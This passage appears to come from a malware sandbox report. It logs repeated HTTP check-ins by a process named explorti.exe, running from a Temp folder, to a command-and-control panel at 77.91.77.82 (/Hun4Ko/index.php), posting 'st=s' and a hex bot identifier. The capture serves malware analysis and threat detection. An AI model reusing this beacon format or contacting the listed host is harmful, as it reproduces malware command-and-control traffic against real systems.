24	192.168.2.4	49761	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:29.254751921 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:29.966687918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:29.967524052 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:30.189443111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:30.301451921 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:31.029006958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:31.031476021 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:31.258886099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49763	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:31.378473043 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:32.081392050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:32.082113028 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:32.302418947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49764	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:32.410147905 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:33.105979919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:33.107883930 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:33.325151920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49765	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:33.441559076 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:34.161181927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:34.163031101 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:34.385121107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49766	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:34.518975973 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:35.233439922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:35.234164000 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:35.455430031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49767	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:35.567018986 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:36.296036005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:36.296833992 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:36.525865078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49768	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:36.644284964 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:37.352226019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:37.355459929 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:37.576417923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49769	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:37.696398973 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:38.414021015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:38.414747000 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:38.641179085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49770	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:38.754026890 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:39.447379112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:39.448174953 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:39.665680885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49771	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:39.785593033 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:40.485183001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:40.486037016 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:40.705621958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49772	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:40.816066027 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:41.529180050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:41.529983044 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:41.756166935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49773	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:41.863178015 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:42.580399036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:42.589514017 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
